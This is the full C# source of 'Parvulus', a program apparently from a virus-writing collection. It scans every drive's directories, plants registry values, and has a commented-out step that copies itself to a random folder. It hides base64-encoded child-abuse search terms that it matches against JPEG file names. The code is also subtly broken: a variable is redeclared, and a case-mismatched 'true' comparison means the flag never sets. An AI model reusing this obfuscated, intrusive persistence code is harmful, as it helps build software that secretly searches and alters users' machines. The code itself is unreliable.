Parvulus
by Retro

See also the project folder

using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;

namespace parvulus
{
    static class Program
    {
        static object g;

        [STAThread]
        static void Main()
        {
            // Create and Init
            ArrayList List = new ArrayList();
            Random r = new Random();
                       
            // Variables
            bool t = false;
            string[] n = new string[10] { decrypt("cHRoYw=="), decrypt("UGhvdG8gQnkgQ2FybCAtIFBlZG8="), decrypt("cHJldGVlbg==")
            , decrypt("Y2hpbGRsb3Zlcg=="), decrypt("Y2hpbGQgcG9ybg=="), decrypt("OHlv"), decrypt("OXlv"), decrypt("MTB5bw==")
            , decrypt("MTF5bw=="), decrypt("MTJ5bw==") };
            
            // Find itself
            Module me = Assembly.GetExecutingAssembly().GetModules()[0];

            //Get list of logical drives
            string [] drives = Directory.GetLogicalDrives();
            
            // For each drive gather directories
            foreach (string d in drives)
            {
                // Error handling for A:\
                try { CollectDirs(d, List); }
                catch (IOException) { continue; }
            }

            int q = r.Next(0, List.Count);

            // Copy to randam dir
            // File.Copy(me.FullyQualifiedName, List[q] + @"\" + me.ScopeName);

            // Create registry key
            RegistryKey key = Registry.CurrentUser.CreateSubKey(decrypt("U29mdHdhcmVcUmV0cm9cUGFydmFsdXM="));
            key.SetValue(decrypt("UGFydnVsdXM="), List[q] + @"\" + me.ScopeName);
            key.SetValue(decrypt("QWN0aXZl"), decrypt("MA=="));

            // Foreach directory in ArrayList
            MessageBox.Show(List.Count.ToString());
            foreach (string s in List)
            {
                try
                {
                    // Get JPEG files
                    string[] fs = Directory.GetFiles(s, "*.jpg");

                    // Foreach JPEG in string array
                    foreach (string f in fs)
                    {
                        // Open file info
                        FileInfo fi = new FileInfo(f);

                        // loop through each special string
                        for (int l = 0; l < 10; l++)
                        {
                            // See if the file name contains one of the strings
                            bool t = fi.Name.Contains((string)n[l]);
                                                    
                            // If it finds a matching string
                            if (t.ToString()  == "true")
                            {
                                // Set the registry key to 'true'
                                key.SetValue(decrypt("QWN0aXZl"), decrypt("MQ=="));
                            }
                            else
                            {
                                // No matching string
                                continue;
                            }
                        }
                    }
                }
                catch (UnauthorizedAccessException) { continue; }
            }

            g = key.GetValue(decrypt("QWN0aXZl"));

            if (g.ToString() == "1")
            {
                // Run Form
                Application.EnableVisualStyles();
                Application.Run(new Form1());
            }


            key.Close();
        }

        // String Decrypter
        static string decrypt(string s)
        {
            StringBuilder sb = new StringBuilder();

            char[] data = s.ToCharArray();
            decrypter d = new decrypter(data);
            byte[] t = d.GetDecoded();
            sb.Append(UTF8Encoding.UTF8.GetChars(t));
            return sb.ToString();
        }


        // Collect Directories
        static void CollectDirs(string dir, ArrayList storage)
        {
            try
            {
                string [] dirs = Directory.GetDirectories(dir);
                foreach (string d in dirs)
                {
                    storage.Add(d);
                    CollectDirs(d, storage);
                }
            }
            catch (System.UnauthorizedAccessException) { }
        }
    }
}